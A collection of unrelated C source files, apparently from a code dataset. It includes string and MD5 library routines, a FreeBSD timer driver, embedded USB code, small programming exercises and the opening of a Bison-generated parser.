'\134', '\135', '\136', '\137', '\140', '\141', '\142', '\143', '\144', '\145', '\146', '\147', '\150', '\151', '\152', '\153', '\154', '\155', '\156', '\157', '\160', '\161', '\162', '\163', '\164', '\165', '\166', '\167', '\170', '\171', '\172', '\173', '\174', '\175', '\176', '\177', '\200', '\201', '\202', '\203', '\204', '\205', '\206', '\207', '\210', '\211', '\212', '\213', '\214', '\215', '\216', '\217', '\220', '\221', '\222', '\223', '\224', '\225', '\226', '\227', '\230', '\231', '\232', '\233', '\234', '\235', '\236', '\237', '\240', '\241', '\242', '\243', '\244', '\245', '\246', '\247', '\250', '\251', '\252', '\253', '\254', '\255', '\256', '\257', '\260', '\261', '\262', '\263', '\264', '\265', '\266', '\267', '\270', '\271', '\272', '\273', '\274', '\275', '\276', '\277', '\300', '\301', '\302', '\303', '\304', '\305', '\306', '\307', '\310', '\311', '\312', '\313', '\314', '\315', '\316', '\317', '\320', '\321', '\322', '\323', '\324', '\325', '\326', '\327', '\330', '\331', '\332', '\333', '\334', '\335', '\336', '\337', '\340', '\341', '\342', '\343', '\344', '\345', '\346', '\347', '\350', '\351', '\352', '\353', '\354', '\355', '\356', '\357', '\360', '\361', '\362', '\363', '\364', '\365', '\366', '\367', '\370', '\371', '\372', '\373', '\374', '\375', '\376', '\377', }; int strcasecmp(s1, s2) const char *s1, *s2; { register const u_char *cm = charmap, *us1 = (const u_char *)s1, *us2 = (const u_char *)s2; while (cm[*us1] == cm[*us2++]) if (*us1++ == '\0') return (0); return (cm[*us1] - cm[*--us2]); } int strncasecmp(s1, s2, n) const char *s1, *s2; register size_t n; { if (n != 0) { register const u_char *cm = charmap, *us1 = (const u_char *)s1, *us2 = (const u_char *)s2; do { if (cm[*us1] != cm[*us2++]) return (cm[*us1] - cm[*--us2]); if (*us1++ == '\0') break; } while (--n != 0); } return (0); }
the_stack_data/115764991.c
int main() { int i=1; do { print(i); if (i==1) { i++; continue; } break; i++; } while (i<4); return 0; }
the_stack_data/231394514.c
/* crypto/md5/md5_one.c */ /* Copyright (C) 1995-1998 Eric Young ([email protected]) * All rights reserved. * * This package is an SSL implementation written * by Eric Young ([email protected]). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson ([email protected]). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young ([email protected])" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson ([email protected])" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * * The licence and distribution terms for any publically available version or * derivative of this code cannot be changed. i.e. this code cannot simply be * copied and put under another distribution licence * [including the GNU Public Licence.] */ #include <stdio.h> #include <string.h> #include <openssl/md5.h> #include <openssl/crypto.h> #ifdef CHARSET_EBCDIC #include <openssl/ebcdic.h> #endif unsigned char *MD5(const unsigned char *d, size_t n, unsigned char *md) { MD5_CTX c; static unsigned char m[MD5_DIGEST_LENGTH]; if (md == NULL) md=m; if (!MD5_Init(&c)) return NULL; #ifndef CHARSET_EBCDIC MD5_Update(&c,d,n); #else { char temp[1024]; unsigned long chunk; while (n > 0) { chunk = (n > sizeof(temp)) ? sizeof(temp) : n; ebcdic2ascii(temp, d, chunk); MD5_Update(&c,temp,chunk); n -= chunk; d += chunk; } } #endif MD5_Final(md,&c); OPENSSL_cleanse(&c,sizeof(c)); /* security consideration */ return(md); }
the_stack_data/50136851.c
/* Returning a pointer from a function Your task is to write a subroutine that takes a pointer to the first element of an integer array, as well as an integer variable. The arguments are passed to the subroutine in this order. The integer variable passed as an argument holds the number of elements in an array, while the actual array holds the number of integers specified by the variable. The subroutine must go through the table and return the address of the element holding the smallest value to the calling program. After receiving the address, the main program uses it to print the smallest number contained in the array. The prototype of the subroutine is the following: int *address_of_smallest_value(int *numbers, int size); In the above, the * operator indicates that the function's return value is a pointer. */ int *address_of_smallest_value(int *numbers, int size) { int i; int s = numbers[0]; int *sp = &numbers[0]; for(i = 0; i < size; i++) { if (numbers[i] < s) { s = numbers[i]; sp = &numbers[i]; } } return sp; }
the_stack_data/343556.c
enum X { x1, x2, x3 }; enum Y { y1, y2, y3 }; main () { enum X i; enum Y k; float d; double dd; int tmp; int *tmp2; tmp = (k && i) && tmp2 && (i >> k) || (k << i) || dd && d; }
the_stack_data/73575162.c
#define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_5__ TYPE_3__ ; typedef struct TYPE_4__ TYPE_1__ ; /* Type definitions */ typedef int uint64_t ; typedef int uint32_t ; struct TYPE_5__ {char* et_name; int et_flags; int et_quality; int et_frequency; int et_min_period; int et_max_period; struct imx_gpt_softc* et_priv; int /*<<< orphan*/ et_stop; int /*<<< orphan*/ et_start; } ; struct imx_gpt_softc {int sc_clksrc; int clkfreq; TYPE_3__ et; int /*<<< orphan*/ * res; int /*<<< orphan*/ sc_ih; int /*<<< orphan*/ sc_ioh; int /*<<< orphan*/ sc_iot; int /*<<< orphan*/ sc_dev; } ; typedef int /*<<< orphan*/ device_t ; struct TYPE_4__ {int tc_frequency; struct imx_gpt_softc* tc_priv; } ; /* Variables and functions */ int EINVAL ; int ENXIO ; int ET_FLAGS_ONESHOT ; int ET_FLAGS_PERIODIC ; int GPT_CR_24MEN ; #define GPT_CR_CLKSRC_24M 133 #define GPT_CR_CLKSRC_32K 132 #define GPT_CR_CLKSRC_EXT 131 #define GPT_CR_CLKSRC_IPG 130 #define GPT_CR_CLKSRC_IPG_HIGH 129 #define GPT_CR_CLKSRC_NONE 128 int GPT_CR_DBGEN ; int GPT_CR_DOZEEN ; int GPT_CR_EN ; int GPT_CR_FRR ; int GPT_CR_STOPEN ; int GPT_CR_SWR ; int GPT_CR_WAITEN ; int GPT_IR_ALL ; int /*<<< orphan*/ IMX_GPT_CNT ; int /*<<< orphan*/ IMX_GPT_CR ; int /*<<< orphan*/ IMX_GPT_IR ; int /*<<< orphan*/ IMX_GPT_OCR3 ; int /*<<< orphan*/ IMX_GPT_PR ; int /*<<< orphan*/ IMX_GPT_SR ; int /*<<< orphan*/ INTR_TYPE_CLK ; int READ4 (struct imx_gpt_softc*,int /*<<< orphan*/ ) ; int TARGET_FREQUENCY ; int /*<<< orphan*/ WRITE4 (struct imx_gpt_softc*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ arm_set_delay (int /*<<< orphan*/ ,struct imx_gpt_softc*) ; scalar_t__ bootverbose ; scalar_t__ bus_alloc_resources (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int /*<<< orphan*/ bus_release_resources (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ *) ; int bus_setup_intr (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ *,struct imx_gpt_softc*,int /*<<< orphan*/ *) ; struct imx_gpt_softc* device_get_softc (int /*<<< orphan*/ ) ; scalar_t__ device_get_unit (int /*<<< orphan*/ ) ; int /*<<< orphan*/ device_printf (int /*<<< orphan*/ ,char*,...) ; int /*<<< orphan*/ et_register (TYPE_3__*) ; int imx_ccm_ipg_hz () ; int /*<<< orphan*/ imx_gpt_do_delay ; int /*<<< orphan*/ imx_gpt_intr ; int /*<<< orphan*/ imx_gpt_spec ; TYPE_1__ imx_gpt_timecounter ; int /*<<< orphan*/ imx_gpt_timer_start ; int /*<<< orphan*/ imx_gpt_timer_stop ; int /*<<< orphan*/ rman_get_bushandle (int /*<<< orphan*/ ) ; int /*<<< orphan*/ rman_get_bustag (int /*<<< orphan*/ ) ; int /*<<< orphan*/ tc_init (TYPE_1__*) ; __attribute__((used)) static int imx_gpt_attach(device_t dev) { struct imx_gpt_softc *sc; int ctlreg, err; uint32_t basefreq, prescale, setup_ticks, t1, t2; sc = device_get_softc(dev); if (bus_alloc_resources(dev, imx_gpt_spec, sc->res)) { device_printf(dev, "could not allocate resources\n"); return (ENXIO); } sc->sc_dev = dev; sc->sc_iot = rman_get_bustag(sc->res[0]); sc->sc_ioh = rman_get_bushandle(sc->res[0]); /* * For now, just automatically choose a good clock for the hardware * we're running on. Eventually we could allow selection from the fdt; * the code in this driver will cope with any clock frequency. */ sc->sc_clksrc = GPT_CR_CLKSRC_IPG; ctlreg = 0; switch (sc->sc_clksrc) { case GPT_CR_CLKSRC_32K: basefreq = 32768; break; case GPT_CR_CLKSRC_IPG: basefreq = imx_ccm_ipg_hz(); break; case GPT_CR_CLKSRC_IPG_HIGH: basefreq = imx_ccm_ipg_hz() * 2; break; case GPT_CR_CLKSRC_24M: ctlreg |= GPT_CR_24MEN; basefreq = 24000000; break; case GPT_CR_CLKSRC_NONE:/* Can't run without a clock. */ case GPT_CR_CLKSRC_EXT: /* No way to get the freq of an ext clock. */ default: device_printf(dev, "Unsupported clock source '%d'\n", sc->sc_clksrc); return (EINVAL); } /* * The following setup sequence is from the I.MX6 reference manual, * "Selecting the clock source". First, disable the clock and * interrupts. This also clears input and output mode bits and in * general completes several of the early steps in the procedure. */ WRITE4(sc, IMX_GPT_CR, 0); WRITE4(sc, IMX_GPT_IR, 0); /* Choose the clock and the power-saving behaviors. */ ctlreg |= sc->sc_clksrc | /* Use selected clock */ GPT_CR_FRR | /* Just count (FreeRunner mode) */ GPT_CR_STOPEN | /* Run in STOP mode */ GPT_CR_DOZEEN | /* Run in DOZE mode */ GPT_CR_WAITEN | /* Run in WAIT mode */ GPT_CR_DBGEN; /* Run in DEBUG mode */ WRITE4(sc, IMX_GPT_CR, ctlreg); /* * The datasheet says to do the software reset after choosing the clock * source. It says nothing about needing to wait for the reset to * complete, but the register description does document the fact that * the reset isn't complete until the SWR bit reads 0, so let's be safe. * The reset also clears all registers except for a few of the bits in * CR, but we'll rewrite all the CR bits when we start the counter. */ WRITE4(sc, IMX_GPT_CR, ctlreg | GPT_CR_SWR); while (READ4(sc, IMX_GPT_CR) & GPT_CR_SWR) continue; /* Set a prescaler value that gets us near the target frequency. */ if (basefreq < TARGET_FREQUENCY) { prescale = 0; sc->clkfreq = basefreq; } else { prescale = basefreq / TARGET_FREQUENCY; sc->clkfreq = basefreq / prescale; prescale -= 1; /* 1..n range is 0..n-1 in hardware. */ } WRITE4(sc, IMX_GPT_PR, prescale); /* Clear the status register. */ WRITE4(sc, IMX_GPT_SR, GPT_IR_ALL); /* Start the counter. */ WRITE4(sc, IMX_GPT_CR, ctlreg | GPT_CR_EN); if (bootverbose) device_printf(dev, "Running on %dKHz clock, base freq %uHz CR=0x%08x, PR=0x%08x\n", sc->clkfreq / 1000, basefreq, READ4(sc, IMX_GPT_CR), READ4(sc, IMX_GPT_PR)); /* Setup the timer interrupt. */ err = bus_setup_intr(dev, sc->res[1], INTR_TYPE_CLK, imx_gpt_intr, NULL, sc, &sc->sc_ih); if (err != 0) { bus_release_resources(dev, imx_gpt_spec, sc->res); device_printf(dev, "Unable to setup the clock irq handler, " "err = %d\n", err); return (ENXIO); } /* * Measure how many clock ticks it takes to setup a one-shot event (it's * longer than you might think, due to wait states in accessing gpt * registers). Scale up the result by a factor of 1.5 to be safe, * and use that to set the minimum eventtimer period we can schedule. In * the real world, the value works out to about 750ns on imx5 hardware. */ t1 = READ4(sc, IMX_GPT_CNT); WRITE4(sc, IMX_GPT_OCR3, 0); t2 = READ4(sc, IMX_GPT_CNT); setup_ticks = ((t2 - t1 + 1) * 3) / 2; /* Register as an eventtimer. */ sc->et.et_name = "iMXGPT"; sc->et.et_flags = ET_FLAGS_ONESHOT | ET_FLAGS_PERIODIC; sc->et.et_quality = 800; sc->et.et_frequency = sc->clkfreq; sc->et.et_min_period = ((uint64_t)setup_ticks << 32) / sc->clkfreq; sc->et.et_max_period = ((uint64_t)0xfffffffe << 32) / sc->clkfreq; sc->et.et_start = imx_gpt_timer_start; sc->et.et_stop = imx_gpt_timer_stop; sc->et.et_priv = sc; et_register(&sc->et); /* Register as a timecounter. */ imx_gpt_timecounter.tc_frequency = sc->clkfreq; imx_gpt_timecounter.tc_priv = sc; tc_init(&imx_gpt_timecounter); /* If this is the first unit, store the softc for use in DELAY. */ if (device_get_unit(dev) == 0) { arm_set_delay(imx_gpt_do_delay, sc); } return (0); }
the_stack_data/364210.c
/* * usbd.c * * Copyright (c) 2013, Oleg Tsaregorodtsev * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * - Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * - Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF * THE POSSIBILITY OF SUCH DAMAGE. */ #ifdef USE_DEVICE_MODE /* Includes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ #include "FreeRTOS.h" #include "timers.h" #include "system.h" #include "ui.h" /* Imported variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Private define ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Private typedef ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Private macro ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Private function prototypes ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Private variables ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ /* Private functions ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/ extern void BSP_USBD_MSC_Init(void); extern void BSP_USBD_CDC_Init(void); extern void BSP_USBD_DeInit(void); volatile u32 MSC_DataIn, MSC_DataOut; volatile u32 MSC_RxSpeed, MSC_TxSpeed; static xTimerHandle xShowUsbSpeedTimer; void USB_MSC_DisplaySpeed(xTimerHandle xTimer) { UI_SetVariable(VAR_MSC_Speed, MSC_RxSpeed, MSC_DataIn * USBD_MSC_SPEED_MPS); UI_SetVariable(VAR_MSC_Speed, MSC_TxSpeed, MSC_DataOut * USBD_MSC_SPEED_MPS); MSC_DataIn = 0; MSC_DataOut = 0; } void USB_MSC_Init(void) { trace("usb: MSC mode activated\n"); xShowUsbSpeedTimer = xTimerCreate((signed portCHAR *) "USB Speed Timer", (1000 / USBD_MSC_SPEED_MPS) / portTICK_RATE_MS, pdTRUE, (void *) USB_MSC_DisplaySpeed, USB_MSC_DisplaySpeed); configASSERT(xShowUsbSpeedTimer); int result = xTimerStart(xShowUsbSpeedTimer, configTIMER_API_TIMEOUT_MS); configASSERT(result); BSP_USBD_MSC_Init(); } void USB_CDC_Init(void) { #ifdef ENABLE_TRACE trace("usb: CDC mode activated\n"); BSP_USBD_CDC_Init(); #endif } void USB_DeInit(void) { trace("usb: deinit\n"); BSP_USBD_DeInit(); xTimerDelete(xShowUsbSpeedTimer, configTIMER_API_TIMEOUT_MS); } #endif
the_stack_data/124042.c
/* Make an algorithm that calculates and writes a table of degrees Centigrade as a function of degrees Farenheit, ranging from 50 to 150 of 1 in 1. Use the formula C = (F - 32) * 5/9, where F is the temperature in Fahrenheit and C is the temperature in Celsius. */ #include <stdio.h> #include <stdlib.h> int main() { int f; float c; for(f = 50; f < 151; f++) { c = ((5.0/9)*(f-32)); printf("%i %0.1f \n",f,c); } return 0; }
the_stack_data/162642042.c
#include <term.h> #define restore_cursor tigetstr("rc") /** restore cursor to position of last sc **/ /* TERMINFO_NAME(rc) TERMCAP_NAME(rc) XOPEN(400) */
the_stack_data/103704.c
/*------------------------------------------------------------------------- Include files: --------------------------------------------------------------------------*/ #include <stdio.h> #include <stdbool.h> /*========================================================================= Constants and definitions: ==========================================================================*/ bool print_dragon(bool dragon_c_cond, bool dragon_b_cond, bool dragon_a_cond); int print_welcome_message(); int print_dragonX_sent(char c); int print_no_dragon(); // Constant to check that the input ending char has been provided. #define INPUT_ENDING_CHAR '!' /*------------------------------------------------------------------------- This program takes the name of an enemy as input and prints the correct dragon to send to battle according to the name of the enemy. length: 15 lines -------------------------------------------------------------------------*/ int main() { int ascii_sum = 0, num_of_letters = 0; bool is_rising = true, contains_letter_s = false; char enemy_letter, previous_letter = 'Z'; print_welcome_message(); scanf(" %c", &enemy_letter); // Looping over input enemy letters until input ending char has been // provided. while(enemy_letter != INPUT_ENDING_CHAR) { // Adding the ASCII value of the letter to the sum. ascii_sum += enemy_letter; // Checking if the input letter is 's'. contains_letter_s = (contains_letter_s || enemy_letter == 's'); // Checking if the new input letter value is larger than the previous // and also comparing to the result of previous checks. is_rising = (previous_letter < enemy_letter && is_rising); // Saving the input letter for comparison. previous_letter = enemy_letter; // Increasing the total letters counter. num_of_letters++; // Receiving a new letter as input. scanf("%c", &enemy_letter); } // Checking which dragon conditions were met and sending to print function. // Printing the correct dragon. print_dragon((!contains_letter_s && num_of_letters < 6), is_rising, (ascii_sum % 5 != 0 && num_of_letters > 4)); return 0; } /* This function receives the boolean result of every dragon printing conditions and prints the correct dragon. If multiple dragons conditions are met, the first dragon in lexical order will be printed. */ bool print_dragon(bool dragon_c_cond, bool dragon_b_cond, bool dragon_a_cond) { return !((dragon_c_cond && print_dragonX_sent('C')) || (dragon_b_cond && print_dragonX_sent('B')) || (dragon_a_cond && print_dragonX_sent('A')) || (print_no_dragon())); } int print_welcome_message() { return printf("Please enter enemy name:\n"); } int print_dragonX_sent(char c) { return printf("\nKhaleesi sent dragon%c into the battle!!!\n", c); } int print_no_dragon() { return printf("\nNO Dragon has been sent into the battle!!!\n"); }
the_stack_data/232955424.c
/*BEGIN_LEGAL Intel Open Source License Copyright (c) 2002-2013 Intel Corporation. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. Neither the name of the Intel Corporation nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. END_LEGAL */ /* * this application calls a user-written function that contains a good code pattern. */ #include <stdio.h> #include <stdlib.h> #include <string.h> extern void good_jump(); int main( int argc, char * argv[] ) { char * buffer; buffer = (char *)malloc( 64 ); strcpy( buffer, "abc" ); printf("%s\n", buffer ); good_jump(); printf("returned from good_jump.\n"); free( buffer ); return 0; }
the_stack_data/92326020.c
/* * wmapper.c -- simple file that mmap()s a file region and writes to it * * Copyright (C) 1998,2000,2001 Alessandro Rubini * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307, USA. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> int main(int argc, char **argv) { char *fname; FILE *f; unsigned int offset, len; unsigned char *address; int i, c; if (argc !=4 || sscanf(argv[2],"%i", &offset) != 1 || sscanf(argv[3],"%i", &len) != 1) { fprintf(stderr, "%s: Usage \"%s <file> <offset> <len>\"\n", argv[0], argv[0]); exit(1); } fname=argv[1]; if (!(f=fopen(fname,"r+"))) { fprintf(stderr, "%s: %s: %s\n", argv[0], fname, strerror(errno)); exit(1); } address=mmap(0, len, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, fileno(f), offset); if (address == (void *)-1) { fprintf(stderr,"%s: mmap(): %s\n",argv[0],strerror(errno)); exit(1); } fclose(f); for (i=0; i<len; i++) { c = getchar(); if (c==-1) return 0; address[i]=c; } return 0; }
the_stack_data/29825927.c
// Declare f as function (char) returning pointer to function (int) returning long. // // http://cdecl.ridiculousfish.com/?q=long+%28*f%28char%29%29+%28int%29%3B // long (*f(char c))(int i) { char d = c; }
the_stack_data/613143.c
#include <stdio.h> int main() { printf("Hello World!\n"); return 0; }
the_stack_data/75137736.c
/* Write a function that takes 2 pointers and swaps the memory they point to. The function should also take the size of each memory piece and should work with any data type. */ #include <stdio.h> #include <stdlib.h> #include <string.h> void generic_swap(void *a, void *b, size_t size); int main() { char letter = 'B', symbol = '+'; printf("Before swap: "); printf("%c %c", letter, symbol); printf("\n"); generic_swap(&letter, &symbol, sizeof (char)); printf("After swap: "); printf("%c %c", letter, symbol); printf("\n\n"); int a = 10, b = 6; printf("Before swap: "); printf("%d %d", a, b); printf("\n"); generic_swap(&a, &b, sizeof (int)); printf("After swap: "); printf("%d %d", a, b); printf("\n\n"); double d = 3.14, f = 1.23567; printf("Before swap: "); printf("%.f2 %.f2", d, f); printf("\n"); generic_swap(&d, &f, sizeof (double)); printf("After swap: "); printf("%.f2 %.f2", d, f); printf("\n"); return (EXIT_SUCCESS); } void generic_swap(void *a, void *b, size_t size) { unsigned char *aPtr = a; unsigned char *bPtr = b; int i; for (i = 0; i < size; i++) { char oldValue = *(aPtr + i); *(aPtr + i) = *(bPtr + i); *(bPtr + i) = oldValue; } }
the_stack_data/32737.c
#include <stdio.h> #include <stdlib.h> typedef struct N { int dato; struct N* next; } nodo_t; typedef nodo_t* Ptr_nodo; void visualizza(Ptr_nodo l) { if(!l) { return; } printf("%d\n", l->dato); visualizza(l->next); } Ptr_nodo inserisciInCoda(Ptr_nodo l, int val) { if(!l) { Ptr_nodo tmp; tmp = malloc(sizeof(nodo_t)); if(tmp) { tmp->dato = val; tmp->next = NULL; } else { printf("Errore allocazione memoria\n"); } return tmp; } l->next = inserisciInCoda(l->next, val); return l; } int sumList(Ptr_nodo l) { if(!l) { return 0; } return l->dato+sumList(l->next); } Ptr_nodo elaboraLista(Ptr_nodo l) { Ptr_nodo res; res = NULL; while(l) { if(l->dato>sumList(l->next)) { res = inserisciInCoda(res, l->dato); } l = l->next; } return res; } int main(void) { Ptr_nodo l1, l2; l1 = NULL; l2 = NULL; l1 = inserisciInCoda(l1, 7); l1 = inserisciInCoda(l1, -2); l1 = inserisciInCoda(l1, 4); l1 = inserisciInCoda(l1, -1); l2 = elaboraLista(l1); printf("Lista 1:\n"); visualizza(l1); printf("Lista 2:\n"); visualizza(l2); return 0; }
the_stack_data/15071.c
#include <stdlib.h> size_t jag_io_write(int h,const char *buffer, size_t length) { return -1; }
the_stack_data/452099.c
/* A Bison parser, made by GNU Bison 3.0.4. */ /* Bison implementation for Yacc-like parsers in C Copyright (C) 1984, 1989-1990, 2000-2015 Free Software Foundation, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /* As a special exception, you may create a larger work that contains part or all of the Bison parser skeleton and distribute that work under terms of your choice, so long as that work isn't itself a parser generator using the skeleton or a modified version thereof as a parser skeleton. Alternatively, if you modify or redistribute the parser skeleton itself, you may (at your option) remove this special exception, which will cause the skeleton and the resulting Bison output files to be licensed under the GNU General Public License without this special exception. This special exception was added by the Free Software Foundation in version 2.2 of Bison. */ /* C LALR(1) parser skeleton written by Richard Stallman, by simplifying the original so-called "semantic" parser. */ /* All symbols defined below should begin with yy or YY, to avoid infringing on user name space. This should be done even for local variables, as they might otherwise be expanded by user macros. There are some unavoidable exceptions within include files to define necessary library symbols; they are noted "INFRINGES ON USER NAME SPACE" below. */ /* Identify Bison output. */ #define YYBISON 1 /* Bison version. */ #define YYBISON_VERSION "3.0.4" /* Skeleton name. */ #define YYSKELETON_NAME "yacc.c" /* Pure parsers. */ #define YYPURE 0 /* Push parsers. */ #define YYPUSH 0 /* Pull parsers. */ #define YYPULL 1 /* Copy the first part of user declarations. */ #line 1 "calc.y" /* yacc.c:339 */ void yyerror (char *s); int yylex(); #include<stdio.h> /* C declarations used in actions */ #include<stdlib.h> #include<ctype.h> int symbols[52]; int symbolVal(char symbol); void updateSymbolVal(char symbol, int val); #line 77 "y.tab.c" /* yacc.c:339 */ # ifndef YY_NULLPTR # if defined __cplusplus && 201103L <= __cplusplus # define YY_NULLPTR nullptr # else # define YY_NULLPTR 0 # endif # endif /* Enabling verbose error messages. */ #ifdef YYERROR_VERBOSE # undef YYERROR_VERBOSE # define YYERROR_VERBOSE 1 #else # define YYERROR_VERBOSE 0 #endif /* In a future release of Bison, this section will be replaced by #include "y.tab.h". */ #ifndef YY_YY_Y_TAB_H_INCLUDED # define YY_YY_Y_TAB_H_INCLUDED /* Debug traces. */ #ifndef YYDEBUG # define YYDEBUG 0 #endif #if YYDEBUG extern int yydebug; #endif /* Token type. */ #ifndef YYTOKENTYPE # define YYTOKENTYPE enum yytokentype { print = 258, exit_command = 259, number = 260, identifier = 261 }; #endif /* Tokens. */ #define print 258 #define exit_command 259 #define number 260 #define identifier 261 /* Value type. */ #if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED union YYSTYPE { #line 13 "calc.y" /* yacc.c:355 */ int num; char id; #line 132 "y.tab.c" /* yacc.c:355 */ }; typedef union YYSTYPE YYSTYPE; # define YYSTYPE_IS_TRIVIAL 1 # define YYSTYPE_IS_DECLARED 1 #endif extern YYSTYPE yylval; int yyparse (void); 